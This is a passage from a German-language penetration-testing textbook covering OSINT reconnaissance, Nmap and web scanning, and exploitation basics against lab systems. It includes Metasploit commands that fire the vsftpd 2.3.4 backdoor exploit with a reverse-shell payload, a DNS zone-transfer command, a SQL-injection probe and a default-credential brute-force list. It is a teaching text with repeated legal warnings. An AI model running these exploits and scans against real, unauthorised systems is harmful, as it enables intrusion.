Passive OSINT-Recherche über öffentlich einsehbare Quellen kontaktiert das Zielsystem selbst nicht und bewegt sich grundsätzlich in einem anderen rechtlichen Rahmen als aktives Scannen. „Passiv gegenüber dem Ziel" bedeutet aber nicht „ohne jeden externen Kontakt": Whois-, DNS- und Suchmaschinenabfragen erzeugen eigene Anfragen bei Registraren, DNS-Betreibern oder Suchanbietern, die dort protokolliert werden können, und öffentlich sichtbare Informationen können personenbezogen sein. Prüfe bei Nutzung oder Veröffentlichung von Ergebnissen Persönlichkeitsrechte, Datenschutz und die Nutzungsbedingungen der jeweiligen Plattform.

ILLEGAL – niemals ohne Auftrag

Unautorisierte aktive Scans gegen fremde Systeme können gegen Verträge oder Nutzungsbedingungen des Betreibers oder Providers verstoßen, dort Alarmierungen und Kosten auslösen und je nach Begleitumständen (z. B. tatsächlicher Zugriff auf gesicherte Daten) weitere rechtliche Folgen haben, bis hin zu einer Strafbarkeit nach § 202a StGB. Ein Portscan allein ist dabei **nicht automatisch** eine Straftat nach § 202c StGB – dieser Paragraf verlangt ein Programm, dessen Zweck die Begehung einer Tat nach § 202a/§ 202b ist, sowie laut Bundesverfassungsgericht zusätzlich Vorsatz dazu (siehe 1.4). Unabhängig von dieser Einordnung gilt die Grundregel: Übe aktive Techniken ausschließlich gegen eigene oder ausdrücklich dafür freigegebene Laborsysteme, und prüfe vor jedem realen Auftrag schriftliche Erlaubnis, eng begrenzten Scope und die Regeln des Zielanbieters – im Zweifel juristisch gegenprüfen lassen.

3.2 OSINT-Werkzeuge im Überblick

Whois

Whois fragt öffentliche Registrierungsdatenbanken nach Informationen zu einer Domain ab: Registrar, Namensserver, teils Kontaktdaten (zunehmend durch DSGVO-Maskierung eingeschränkt).

Beispiel 3.1: Whois-Abfrage einer Testdomain

```
$ whois beispiel-labor.test
Domain Name: BEISPIEL-LABOR.TEST
Registrar: Beispiel Registrar GmbH
Name Server: ns1.beispiel-labor.test
             ns2.beispiel-labor.test
Updated Date: 2026-03-14
```

DNS-Abfragen

Beispiel 3.2: DNS-Einträge mit dig abfragen

```
$ dig beispiel-labor.test ANY +noall +answer
$ dig beispiel-labor.test MX +short
$ dig axfr @ns1.beispiel-labor.test beispiel-labor.test   # Zonentransfer testen
```

> **Gut zu wissen**
>
> Ein erfolgreicher **Zonentransfer** (`axfr`) gegen einen falsch konfigurierten Nameserver gibt die komplette DNS-Zone preis, inklusive interner Hostnamen. Das ist eine der ältesten und immer noch verbreitetsten Fehlkonfigurationen.

theHarvester

theHarvester sammelt automatisiert E-Mail-Adressen, Subdomains und Mitarbeiternamen aus Suchmaschinen und öffentlichen Quellen.

Beispiel 3.3: theHarvester gegen eine Testdomain

```
$ theHarvester -d beispiel-labor.test -b google,bing -l 200
[*] Target: beispiel-labor.test
[*] E-Mails gefunden: 4
[*] Subdomains gefunden: 7
```

Shodan

Shodan ist eine Suchmaschine für mit dem Internet verbundene Geräte (Server, Router, Kameras, Industriesteuerungen). Sie zeigt, was bereits öffentlich sichtbar ist, ohne selbst aktiv zu scannen.

Beispiel 3.4: Shodan-Suche (Konzept)

```
Suchbegriff: product:"Apache httpd" country:"DE" port:"443"
Ergebnis: Liste öffentlich erreichbarer Server mit Version, Standort, Bannern
```

> **LEGAL – nur mit Auftrag/Einwilligung**

Shodan selbst hat bereits gescannt; du fragst nur dessen **Datenbank** ab, kontaktierst also das Zielsystem nicht direkt. Das ist rein lesend und ohne Auftrag unbedenklicher als eigenes aktives Scannen – prüfe aber, was du mit gefundenen Treffern tust: Ein direkter Verbindungsversuch zu einem fremden, über Shodan gefundenen Gerät ist wieder eine aktive Handlung.

3.3 Soziale und organisatorische Aufklärung

Neben technischen Quellen liefern auch diese Kanäle wertvolle Hinweise:

- **Stellenanzeigen:** verraten eingesetzte Technologien („Erfahrung mit Microsoft Active Directory und Citrix gewünscht")
- **LinkedIn/Xing:** Mitarbeiterstruktur, Abteilungen, mögliche Phishing-Ziele
- **GitHub/GitLab:** versehentlich committete Zugangsdaten, interne Hostnamen, Code-Kommentare
- **Metadaten in Dokumenten:** Autor:innennamen, Softwareversionen, interne Pfade in PDF/Office-Dateien

Beispiel 3.5: Metadaten eines öffentlichen PDF-Dokuments auslesen

```
$ exiftool bericht.pdf
Author          : Max Mustermann
Producer        : Microsoft Word für Microsoft 365
Create Date     : 2026:05:12
```

3.4 Reconnaissance strukturiert dokumentieren

Ohne Struktur verliert man bei OSINT schnell den Überblick. Ein einfaches Raster genügt:

Beispiel 3.6: Recon-Protokoll (Auszug)

```
Ziel: beispiel-labor.test (Auftrag Nr. 2026-014, Scope siehe Vertrag)
Datum: 2026-10-20

Domains/Subdomains: www., mail., vpn., dev.
IP-Bereiche: 203.0.113.0/24 (laut Vertrag im Scope)
E-Mail-Muster: vorname.nachname@beispiel-labor.test
Technologien (Stellenanzeigen): Microsoft 365, Citrix, Apache
Offene Fragen: Ist dev.beispiel-labor.test im Scope? -> Rückfrage an Auftraggeber
```

TIPP – Profi-Trick

Halte jede Rechercheverzweigung fest, auch Sackgassen. Im späteren Bericht (Kapitel 8) zeigt eine nachvollziehbare Methodik oft mehr Professionalität als ein einzelner spektakulärer Fund.

3.5 Google Dorking (Suchmaschinen-OSINT)

Google Dorking nutzt erweiterte Suchoperatoren, um gezielt Informationen zu finden, die Suchmaschinen indexiert haben, Betreiber aber eigentlich nicht öffentlich sichtbar haben wollten.

Operator	Zweck	Beispiel
`site:`	auf eine Domain beschränken	`site:beispiel-labor.test`
`filetype:`	nach Dateityp filtern	`filetype:pdf site:beispiel-labor.test`

Operator	Zweck	Beispiel
`intitle:`	Begriff im Seitentitel suchen	`intitle:"index of" site:beispiel-labor.test`
`inurl:`	Begriff in der URL suchen	`inurl:admin site:beispiel-labor.test`

Beispiel 3.7: Typischer Fund durch Google Dorking (Konzept)

```
Suchanfrage: intitle:"index of" "backup" site:beispiel-labor.test
Möglicher Fund: ein offen zugängliches Verzeichnis mit Datenbank-Backups,
das eigentlich nicht öffentlich erreichbar sein sollte.
```

> **LEGAL – nur mit Auftrag/Einwilligung**
>
> Google Dorking nutzt ausschließlich bereits öffentlich indexierte Inhalte und kontaktiert das Zielsystem nicht direkt über die Suchmaschine hinaus. Das Herunterladen oder Öffnen gefundener Dateien ist jedoch bereits eine aktive Handlung und nur mit Auftrag oder bei eindeutig frei zugänglichen, nicht sensiblen Inhalten unbedenklich.

3.6 Wortlisten für spätere Phasen vorbereiten

Aus den OSINT-Ergebnissen lassen sich bereits in dieser Phase Wortlisten für spätere Brute-Force- oder Passwortangriffe (Kapitel 6 und 7) ableiten, etwa aus Firmennamen, Produktbezeichnungen oder typischen Namensmustern.

Beispiel 3.8: Eine einfache, zielspezifische Wortliste mit cewl erzeugen

```
$ cewl -d 2 -m 5 -w zielliste.txt http://labor.lokal
$ wc -l zielliste.txt
142 zielliste.txt
```

`cewl` durchsucht eine Webseite rekursiv (`-d 2` = zwei Ebenen tief) nach Wörtern ab einer Mindestlänge (`-m 5`) und schreibt sie in eine Wortliste – nützlich als Ergänzung zu generischen Listen wie `rockyou.txt`.

3.7 Technologie-Fingerprinting

Noch bevor aktiv gescannt wird, verraten Webseiten oft über HTTP-Header, Cookienamen oder Dateistrukturen, welche Technologien im Einsatz sind – auch das ein passiver Recon-Schritt, solange nur die ohnehin öffentlich ausgelieferte Startseite betrachtet wird.

Beispiel 3.9: Technologie-Erkennung mit Wappalyzer/whatweb

```
$ whatweb https://labor.lokal
https://labor.lokal [200] Apache[2.2.8], PHP[5.2.4], Cookies[PHPSESSID],
  HTML5, Title[Willkommen im Kundenportal]
```

Diese Informationen fließen direkt in die Priorisierung des Scannings (Kapitel 4) ein: Eine veraltete PHP-Version etwa lenkt die Suche gezielt auf bekannte CVEs für genau diese Version.

3.8 Social-Engineering-Aufklärung (nur konzeptionell)

Social Engineering nutzt menschliches Verhalten statt technischer Lücken aus, etwa durch Phishing-E-Mails, die auf zuvor recherchierten Informationen (Namen, Rollen, interne Begriffe) basieren.

ILLEGAL – niemals ohne Auftrag

Dieses Buch beschreibt Social-Engineering-Aufklärung ausschließlich konzeptionell. Das Versenden simulierter Phishing-E-Mails an reale Mitarbeitende ist ausschließlich im Rahmen eines gesondert und ausdrücklich dafür beauftragten Social-Engineering-Assessments zulässig, mit eigens dafür vorgesehener Einwilligung, Rechtsgrundlage und meist Beteiligung von Betriebsrat/Personalvertretung. Es ist kein Bestandteil der technischen Übungen in Kapitel 9.

Aufklärungsziel für Social Engineering (nur im beauftragten Assessment)	Quelle
Namen und Rollen von Mitarbeitenden	LinkedIn, Firmenwebsite
Interne Begriffe, Projektnamen	Stellenanzeigen, öffentliche Präsentationen
Kommunikationsstil, Signaturen	öffentlich einsehbare E-Mail-Beispiele, Foren

Zusammenfassung

Zusammenfassung

- Passive OSINT nutzt ausschließlich öffentliche Quellen und ist rechtlich unkritischer als aktive Techniken.
- Whois, DNS-Abfragen, theHarvester und Shodan liefern wertvolle Vorab-Informationen, ohne das Ziel direkt anzugreifen.
- Soziale Quellen (Stellenanzeigen, Code-Repositories, Dokumentmetadaten) verraten oft mehr als rein technische Scans.
- Jede Recon-Phase gehört strukturiert dokumentiert – als Grundlage für Scanning (Kapitel 4) und Bericht (Kapitel 8).
- Google Dorking findet versehentlich indexierte, sensible Inhalte; zielspezifische Wortlisten unterstützen spätere Passwortangriffe.
- Technologie-Fingerprinting über öffentlich ausgelieferte Header und Seiteninhalte lenkt das spätere Scanning gezielt.
- Social-Engineering-Aufklärung ist ausschließlich im Rahmen eines gesondert beauftragten Assessments zulässig, nicht Teil der technischen Laborübungen.

Kapitel 4: Scanning & Enumeration

Lernziele

- Du führst mit Nmap grundlegende und fortgeschrittene Portscans durch.
- Du erkennst Dienste und Versionen per Service-Erkennung und manuellem Banner Grabbing.
- Du setzt einen Schwachstellenscanner ein und interpretierst seine Ergebnisse kritisch.
- Du verstehst, warum Scanning selbst bei Autorisierung Risiken birgt.

4.1 Von Recon zu Scanning

Während Reconnaissance (Kapitel 3) überwiegend passiv Informationen sammelt, ist **Scanning** die erste **aktive** Kontaktaufnahme mit dem Zielsystem: Welche Hosts sind erreichbar, welche Ports offen, welche Dienste laufen in welcher Version?

ILLEGAL – niemals ohne Auftrag

Ab diesem Kapitel gilt ohne Ausnahme: Jede Technik nur gegen eigene Laborsysteme (z. B. Metasploitable, DVWA) oder im Rahmen eines schriftlich autorisierten, scope-definierten Auftrags.

4.2 Nmap-Grundlagen

Nmap (Network Mapper) ist das Standardwerkzeug für Host- und Portscans.

Beispiel 4.1: Einfacher Nmap-Scan gegen ein Laborziel

```
$ nmap 192.168.56.102
Starting Nmap
Nmap scan report for 192.168.56.102
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
```

Scan-Typ	Option	Zweck
TCP-Connect-Scan	`-sT`	vollständiger Handshake, unauffällig für Logs des Scanners selbst
SYN-Scan ("Half-Open")	`-sS`	schneller, sendet kein finales ACK, braucht Root-Rechte
UDP-Scan	`-sU`	prüft UDP-Dienste (z. B. DNS, SNMP), deutlich langsamer
Service-/Versionserkennung	`-sV`	identifiziert Softwareversionen hinter offenen Ports
Betriebssystem-Erkennung	`-O`	schätzt das Zielbetriebssystem anhand von Paketmerkmalen
Skript-Engine	`--script`	führt vordefinierte Prüfskripte aus (z. B. `vuln`, `ssl-enum-ciphers`)

Beispiel 4.2: Service- und Versionserkennung

```
$ nmap -sV -p 21,22,80,3306 192.168.56.102
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 2.3.4
22/tcp   open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1
80/tcp   open  http    Apache httpd 2.2.8
3306/tcp open  mysql   MySQL 5.0.51a-3ubuntu5
```

> **Gut zu wissen**
>
> `vsftpd 2.3.4` ist ein klassisches, absichtlich verwundbares Beispiel aus Metasploitable 2 (siehe Kapitel 9) mit einer bekannten Backdoor. Solche veralteten Versionen findest du in produktiven Umgebungen selten so offensichtlich, aber das Prinzip – veraltete Software verrät sich über ihren Banner – bleibt real.

Beispiel 4.3: Umfassenderer Scan mit Timing-Kontrolle

```
$ nmap -sV -sC -p- -T4 -oA scan_192-168-56-102 192.168.56.102
```

`-p-` scannt alle 65535 Ports, `-sC` führt Standardskripte aus, `-T4` beschleunigt den Scan, `-oA` speichert die Ergebnisse in drei Formaten (normal, XML, grepbar) für die spätere Auswertung und den Bericht.

> **WARNUNG – Sicherheitsrisiko**
>
> Aggressive Timing-Optionen (`-T4`, `-T5`) und vollständige Portscans können bei älteren oder leistungsschwachen Zielsystemen zu Instabilität oder Ausfällen führen. Stimme Scan-Intensität und Zeitfenster immer mit dem Auftraggeber ab (siehe Rules of Engagement, Kapitel 1.5).

4.3 Banner Grabbing manuell

Nicht jede Information erfordert ein spezialisiertes Werkzeug. Mit `netcat` lässt sich der Dienst-Banner oft direkt auslesen:

Beispiel 4.4: Banner Grabbing mit netcat

```
$ nc -nv 192.168.56.102 22
Connection to 192.168.56.102 22 port [tcp/*] succeeded!
SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
```

Der SSH-Dienst sendet seinen Banner unaufgefordert direkt nach dem Verbindungsaufbau. Bei HTTP musst du dagegen eine **vollständige** Anfrage mit Host-Header und abschließender Leerzeile senden, sonst wartet `netcat` unter Umständen auf weitere Eingaben:

Beispiel 4.4b: Banner Grabbing bei HTTP – vollständige Anfrage

```
$ nc -nv 192.168.56.102 80
HEAD / HTTP/1.1
Host: 192.168.56.102

HTTP/1.1 200 OK
Server: Apache/2.2.8 (Ubuntu) DAV/2
```

Die leere Zeile nach `Host: ...` gehört zwingend dazu – sie signalisiert dem Server das Ende der Kopfzeilen. Je nach Terminal musst du sie durch zweimaliges Drücken der Eingabetaste erzeugen.

> **TIPP – Profi-Trick**

Manuelles Banner Grabbing ist langsamer als automatisierte Tools, zeigt dir aber genau, was auf Protokollebene passiert – ein wichtiges Verständnis, bevor du später Ergebnisse automatisierter Scanner einordnest.

4.4 Schwachstellenscanner

Werkzeuge wie **OpenVAS** oder **Nessus Essentials** gleichen erkannte Dienste und Versionen automatisiert gegen Datenbanken bekannter Schwachstellen (CVEs) ab.

Beispiel 4.5: Typischer OpenVAS-Scanbericht (Auszug, Konzept)

```
Host: 192.168.56.102
[HOCH]   FTP Backdoor (vsftpd 2.3.4)          CVE-2011-2523
[MITTEL] Veraltete OpenSSH-Version             mehrere CVEs
[NIEDRIG] HTTP-Server verrät Versionsbanner    Informationsleck
```

WARNUNG – Sicherheitsrisiko

Schwachstellenscanner erzeugen regelmäßig **False Positives** (fälschlich gemeldete Lücken) und übersehen **False Negatives** (reale Lücken, die nicht erkannt werden, z. B. logische Fehler in Eigenentwicklungen). Jeder automatisierte Befund muss vor der Aufnahme in den Bericht manuell verifiziert werden (Kapitel 8).

4.5 Enumeration: einen Schritt tiefer

Enumeration geht über das reine Erkennen offener Dienste hinaus und extrahiert konkrete, oft nutzbare Details: Benutzerlisten, Freigabenamen, Softwarekonfigurationen.

Beispiel 4.6: SMB-Freigaben eines Windows-Laborziels auflisten

```
$ enum4linux -a 192.168.56.110
[+] Share Enumeration on 192.168.56.110
//192.168.56.110/Freigaben     Buchhaltung-Dokumente
//192.168.56.110/IPC$          IPC Service
```

4.6 Web-Verzeichnisse und Subdomains enumerieren

Neben Ports und Diensten lohnt sich bei Webzielen die Suche nach nicht verlinkten Verzeichnissen und Subdomains.

Beispiel 4.7: Verzeichnis-Enumeration mit gobuster

```
$ gobuster dir -u http://labor.lokal -w /usr/share/wordlists/dirb/common.txt
/admin                (Status: 301)
/backup               (Status: 200)
/config.php.bak       (Status: 200)
```

Beispiel 4.8: Subdomain-Enumeration mit gobuster

```
$ gobuster dns -d beispiel-labor.test -w subdomains.txt
Found: dev.beispiel-labor.test
Found: staging.beispiel-labor.test
```

Gut zu wissen

Gefundene `.bak`-Dateien oder Entwicklungs-Subdomains (`dev.`, `staging.`) gehören zu den häufigsten Quellen für versehentlich offengelegten Quellcode oder Zugangsdaten in echten Pentests.

4.7 Scan-Ergebnisse priorisieren

Nicht jeder offene Port oder jede veraltete Version ist gleich relevant. Eine einfache Priorisierungslogik vor der Exploitation-Phase (Kapitel 5):

Kriterium	Hohe Priorität	Niedrige Priorität
Erreichbarkeit	aus dem Scope-Netz direkt erreichbar	nur über mehrere Zwischenschritte
Bekannte Exploits	öffentlich dokumentierter Exploit (z. B. in Metasploit) vorhanden	nur theoretische Schwachstelle
Betroffene Daten	Zugriff auf Kunden-/Personaldaten möglich	rein interne Testdaten
Komplexität	einfach auszunutzen, wenig Vorbedingungen	mehrstufige Verkettung nötig

TIPP – Profi-Trick

Beginne die Exploitation-Phase immer mit den Funden, die hohe Priorität **und** geringe Komplexität vereinen. Das liefert früh verwertbare Ergebnisse und schont das vereinbarte Zeitbudget.

4.8 Webserver-spezifisches Scanning mit Nikto

Nikto prüft Webserver gezielt auf bekannte Fehlkonfigurationen, veraltete Softwareversionen und riskante Dateien.

Beispiel 4.9: Nikto gegen ein Laborziel

```
$ nikto -h http://labor.lokal
+ Server: Apache/2.2.8 (Ubuntu) DAV/2
+ OSVDB-3233: /icons/README: Apache liefert Standarddateien aus.
+ OSVDB-877: HTTP TRACE-Methode ist aktiviert.
```

TIPP – Profi-Trick

Nikto erzeugt viele Anfragen in kurzer Zeit und kann in Logs des Zielsystems deutlich auffallen. Stimme Scan-Zeitpunkt und -Intensität auch hier mit dem Auftraggeber ab, besonders bei produktiven Systemen.

Zusammenfassung

Zusammenfassung

- Scanning ist die erste aktive Phase eines Pentests und darf ausschließlich im autorisierten Scope stattfinden.
- Nmap liefert über Portscan, Service- und Betriebssystemerkennung die Grundlage jeder weiteren Analyse.

- Manuelles Banner Grabbing schärft das Verständnis dafür, was automatisierte Tools im Hintergrund tun.
- Schwachstellenscanner beschleunigen die Arbeit, ersetzen aber nicht die manuelle Verifikation jedes Befunds.
- Enumeration liefert konkrete Details (Benutzer, Freigaben), die in Kapitel 5–7 zur Exploitation führen.
- Verzeichnis- und Subdomain-Enumeration findet oft übersehene Angriffsflächen; priorisiere Funde nach Erreichbarkeit, bekannten Exploits, betroffenen Daten und Komplexität.
- Nikto ergänzt allgemeine Schwachstellenscanner um webserverspezifische Prüfungen, erzeugt aber auffälligen Verkehr.

Kapitel 5: Exploitation-Grundlagen

Lernziele

- Du kennst die OWASP Top 10 als Referenzrahmen für Web-Schwachstellenklassen.
- Du verstehst, wie CVE-Einträge aufgebaut sind und wie sie mit Exploits zusammenhängen.
- Du führst mit dem Metasploit Framework einen kontrollierten Exploit in einem Labor aus.
- Du richtest Burp Suite als Proxy ein und verstehst seine Grundfunktionen.

5.1 Schwachstellenklassen: OWASP Top 10

Das **OWASP Top 10** ist die bekannteste Referenzliste der häufigsten und kritischsten Schwachstellenklassen in Webanwendungen, herausgegeben vom Open Worldwide Application Security Project. Sie wird regelmäßig aktualisiert; die Kategorien selbst bleiben über Jahre inhaltlich stabil.

Kategorie (sinngemäß)	Kurzbeschreibung
Broken Access Control	Zugriffsrechte werden nicht korrekt durchgesetzt
Cryptographic Failures	Fehlende oder schwache Verschlüsselung sensibler Daten
Injection (u. a. SQL-Injection)	Nicht validierte Eingaben werden als Befehl interpretiert
Insecure Design	Sicherheitslücken bereits in der Architektur angelegt
Security Misconfiguration	Standardkonfigurationen, offene Admin-Panels, unnötige Dienste
Vulnerable and Outdated Components	veraltete Bibliotheken und Frameworks mit bekannten CVEs
Identification and Authentication Failures	schwache Login-Mechanismen, Session-Fehler
Software and Data Integrity Failures	ungeprüfte Updates, unsichere Deserialisierung
Security Logging and Monitoring Failures	Angriffe bleiben unbemerkt, weil nichts protokolliert wird
Server-Side Request Forgery (SSRF)	Server wird zu ungewollten Anfragen an interne Systeme verleitet

Gut zu wissen

Die OWASP Top 10 ist ein **Einstiegsraster**, kein vollständiger Testkatalog. Professionelle Methodiken wie der OWASP Testing Guide oder PTES (Penetration Testing Execution Standard) gehen deutlich detaillierter vor.

5.2 CVE und CVSS im Zusammenspiel

Eine **CVE** (Common Vulnerabilities and Exposures) ist eine eindeutige, öffentliche Kennung für eine bekannte Schwachstelle, z. B. `CVE-2021-44228` (Log4Shell). CVE-Datenbanken verweisen oft auf passende Exploits in Sammlungen wie der **Exploit Database**. Die Schweregradbewertung erfolgt meist über **CVSS** (Common Vulnerability Scoring System), das in Kapitel 8 vertieft wird.

Beispiel 5.1: Eine CVE-Kurzbeschreibung lesen (Konzept)

```
CVE-2011-2523 – vsftpd 2.3.4 Backdoor Command Execution
Beschreibung: Eine manipulierte Version von vsftpd 2.3.4 enthielt eine
Hintertür, die bei bestimmter Anmeldesequenz eine Shell öffnet.
CVSS v3.1: 9.8 (KRITISCH)
```

5.3 Metasploit-Grundlagen

Das **Metasploit Framework** ist eine Sammlung vorgefertigter, modularer Exploits, Payloads und Hilfswerkzeuge für autorisierte Tests.

Beispiel 5.2: Metasploit-Konsole starten und ein Modul suchen

```
$ msfconsole
msf6 > search vsftpd
Matching Modules
================
   #  Name                                  Disclosure Date  Rank
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent
```

Beispiel 5.3: Ein Modul auswählen und konfigurieren

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > show options

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s)
   RPORT   21               yes       The target port
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 192.168.56.102
msf6 exploit(vsftpd_234_backdoor) > run
```

> **Gut zu wissen**
>
> **Historischer Hintergrund:** 2011 wurde ein Download-Archiv von vsftpd 2.3.4 auf dem offiziellen Server kurzzeitig durch eine manipulierte Version mit eingebauter Hintertür ersetzt. Diese spezifische, präparierte Variante ist in Metasploitable 2 absichtlich nachgebildet. Der Versionsbanner „vsftpd 2.3.4" allein beweist **nicht**, dass eine Backdoor vorhanden ist – reguläre, unveränderte 2.3.4-Installationen haben keine. Behandle diesen Fund deshalb immer als Hinweis, der im Labor verifiziert werden muss, nie als automatischen Beleg.

> **LEGAL – nur mit Auftrag/Einwilligung**
>
> Dieses Modul funktioniert zuverlässig nur gegen die absichtlich präparierte Metasploitable-2-Laborumgebung (Kapitel 9). Der Einsatz gegen irgendein anderes System ohne Auftrag ist unzulässig, selbst wenn dessen Versionsbanner zufällig „2.3.4" meldet – zumal es sich dabei in aller Regel um eine reguläre, nicht betroffene Installation handelt.

Metasploit-Baustein	Funktion
Exploit	Modul, das eine konkrete Schwachstelle ausnutzt
Payload	Code, der nach erfolgreichem Exploit ausgeführt wird (z. B. eine Shell)
Meterpreter	fortgeschrittener, speicherresidenter Payload mit vielen Post-Exploitation-Funktionen

Metasploit-Baustein	Funktion
Auxiliary	Hilfsmodule, z. B. für Scanning oder Brute-Force, ohne direkten Exploit

5.4 Burp Suite: Proxy für Webanwendungen

Burp Suite ist das Standardwerkzeug für Web-Application-Pentests. Es schaltet sich als Proxy zwischen Browser und Zielanwendung und macht jede Anfrage sichtbar und veränderbar.

Beispiel 5.4: Burp Suite in Grundzügen einrichten (Konzept)

```
1. Burp Suite starten, Proxy-Listener bleibt auf 127.0.0.1:8080
2. Browser-Proxy auf 127.0.0.1:8080 setzen (oder Burp-Browser nutzen)
3. Burp-CA-Zertifikat installieren, um HTTPS-Verkehr einsehen zu können
4. Im Tab "Proxy > HTTP history" werden alle Anfragen protokolliert
```

Burp-Modul	Funktion
Proxy	fängt Anfragen zwischen Browser und Ziel ab, erlaubt Bearbeitung in Echtzeit
Repeater	sendet eine einzelne Anfrage wiederholt mit Änderungen, ideal zum Testen
Intruder	automatisiert Variationen einer Anfrage (z. B. Brute-Force, Fuzzing)
Scanner (nur Pro)	automatisierte Schwachstellenerkennung in Webanwendungen

Beispiel 5.5: Eine abgefangene Anfrage im Repeater verändern

```
Original:
GET /produkt?id=12 HTTP/1.1
Host: labor.lokal

Verändert und erneut gesendet:
GET /produkt?id=12' HTTP/1.1
Host: labor.lokal
-> Antwort auf SQL-Fehlermeldung prüfen (siehe Kapitel 6.1)
```

> **TIPP – Profi-Trick**
>
> Die kostenlose **Community Edition** von Burp Suite deckt Proxy, Repeater und einen eingeschränkten Intruder ab – für die Übungen in Kapitel 6 und 9 völlig ausreichend.

5.5 Exploit-Entwicklung in Grundzügen

Nicht jede Schwachstelle hat ein fertiges Metasploit-Modul. Zum Verständnis, wie Exploits grundsätzlich funktionieren, hilft ein vereinfachtes Konzept am Beispiel eines klassischen Pufferüberlaufs (Buffer Overflow):

Beispiel 5.6: Grundprinzip eines Pufferüberlaufs (stark vereinfacht)

```
1. Ein Programm reserviert einen festen Speicherbereich (Puffer) für Eingaben.
2. Die Eingabe ist länger als der Puffer und wird nicht geprüft.
3. Überschüssige Daten überschreiben benachbarten Speicher, z. B. die
   Rücksprungadresse einer Funktion.
4. Wird die Rücksprungadresse gezielt auf eingeschleusten Code umgelenkt,
   führt das Programm fremden Code aus.
```

> **Gut zu wissen**
>
> Moderne Betriebssysteme erschweren klassische Pufferüberläufe durch Schutzmechanismen wie **ASLR** (Address Space Layout Randomization) und **DEP/NX** (Verhinderung der Codeausführung in Datenbereichen) erheblich. Vollständige Exploit-Entwicklung ist ein eigenständiges Fachgebiet und geht über dieses Einsteigerhandbuch hinaus – Plattformen wie TryHackMe und spezialisierte Kurse (Kapitel 10) vertiefen dies gezielt.

5.6 Payload-Typen im Überblick

Payload-Typ	Beschreibung
Bind Shell	öffnet einen Port auf dem Zielsystem, auf den sich der Angreifer verbindet
Reverse Shell	das Zielsystem baut selbst eine Verbindung zum Angreifer auf (umgeht oft Firewalls, die nur eingehende Verbindungen blockieren)
Meterpreter	interaktive, speicherresidente Post-Exploitation-Umgebung mit Dateizugriff, Screenshot-Funktion, Pivoting u. v. m.
Staged vs. Stageless	gestaffelte Payloads laden weiteren Code nach, nicht gestaffelte enthalten alles in einem Stück

Beispiel 5.7: Eine Reverse Shell in Metasploit konfigurieren (Konzept)

```
msf6 exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/reverse
msf6 exploit(vsftpd_234_backdoor) > set LHOST 192.168.56.1
msf6 exploit(vsftpd_234_backdoor) > set LPORT 4444
msf6 exploit(vsftpd_234_backdoor) > run
```

> **WARNUNG – Sicherheitsrisiko**
>
> `LHOST` muss im Labor auf die IP-Adresse deiner Angreifer-VM zeigen, die vom Ziel aus erreichbar ist. Eine falsch konfigurierte Reverse Shell liefert keine Verbindung und kann bei realen Aufträgen unbeabsichtigt Verbindungen zu falschen, im Scope nicht vorgesehenen Adressen auslösen – prüfe `LHOST`/`LPORT` deshalb immer doppelt.

5.7 Burp Intruder: Angriffstypen im Überblick

Intruder-Modus	Funktion
Sniper	eine Positionsliste, eine Payload-Quelle – klassisches Fuzzing einer einzelnen Stelle
Battering Ram	eine Payload-Quelle, dieselbe Payload wird gleichzeitig in alle markierten Positionen eingesetzt
Pitchfork	mehrere Payload-Quellen parallel, Position 1 mit Payload-Liste 1, Position 2 mit Payload-Liste 2
Cluster Bomb	mehrere Payload-Quellen, alle Kombinationen werden durchprobiert (z. B. Benutzername × Passwort)

Beispiel 5.8: Cluster-Bomb-Angriff gegen ein Login-Formular (Konzept)

```
Position 1 (username): admin, administrator, root
Position 2 (password):  password, admin123, letmein
-> 3 x 3 = 9 Kombinationen werden automatisch getestet,
   Antwortlängen und Statuscodes zeigen abweichende (erfolgreiche) Versuche.
```

5.8 msfvenom: Payloads eigenständig erzeugen (Konzept)

msfvenom erzeugt eigenständige Payload-Dateien, unabhängig von einem passenden Exploit-Modul. In Kombination mit einer Datei-Upload-Schwachstelle (Abschnitt 6.6) lässt sich so ein typisches, realistisches Pentest-Szenario nachvollziehen: Eine Datei mit eingebettetem Payload wird hochgeladen, danach baut das Zielsystem beim Aufruf eine Verbindung zu einem wartenden Handler auf.

Baustein	Funktion
`msfvenom -p <payload> LHOST=... LPORT=... -f <format>`	erzeugt eine Payload-Datei im gewünschten Format für die Zielsprache (z. B. PHP, ausführbare Datei)
`exploit/multi/handler`	wartet in Metasploit auf die eingehende Verbindung der ausgeführten Payload

WARNUNG – Sicherheitsrisiko

Dieser Baustein ist der technisch sensibelste in diesem Buch, weil er eine eigenständig lauffähige Datei erzeugt. Er gehört ausschließlich in eine vollständig isolierte Laborumgebung (Kapitel 9), niemals in Kombination mit einem realen, aus dem Internet erreichbaren Zielsystem. Dieses Buch verzichtet bewusst auf eine vollständige, direkt kopierbare Befehlskette dafür; Details findest du in der offiziellen Metasploit-Dokumentation, sobald deine Laborumgebung vollständig isoliert steht.

Zusammenfassung

Zusammenfassung

- Die OWASP Top 10 ist das wichtigste Einstiegsraster für Web-Schwachstellenklassen, ersetzt aber keine vollständige Testmethodik.
- CVE-Einträge identifizieren konkrete, bekannte Schwachstellen; CVSS bewertet deren Schweregrad (Kapitel 8).
- Metasploit bündelt Exploits, Payloads und Hilfsmodule für kontrollierte, autorisierte Tests.

- Burp Suite macht als Proxy jede HTTP-Anfrage sichtbar und veränderbar – Grundlage für Kapitel 6.
- Exploit-Entwicklung nutzt oft Speicherfehler wie Pufferüberläufe aus; moderne Schutzmechanismen (ASLR, DEP/NX) erschweren das erheblich.
- Reverse Shells umgehen häufig Firewall-Regeln, weil das Zielsystem selbst die Verbindung aufbaut – LHOST/LPORT immer sorgfältig prüfen.
- Burp Intruder bietet vier Angriffsmodi (Sniper, Battering Ram, Pitchfork, Cluster Bomb) für unterschiedliche Fuzzing-Szenarien.
- msfvenom erzeugt eigenständige Payloads (Konzept); ihr Einsatz gehört ausschließlich in vollständig isolierte Laborumgebungen.
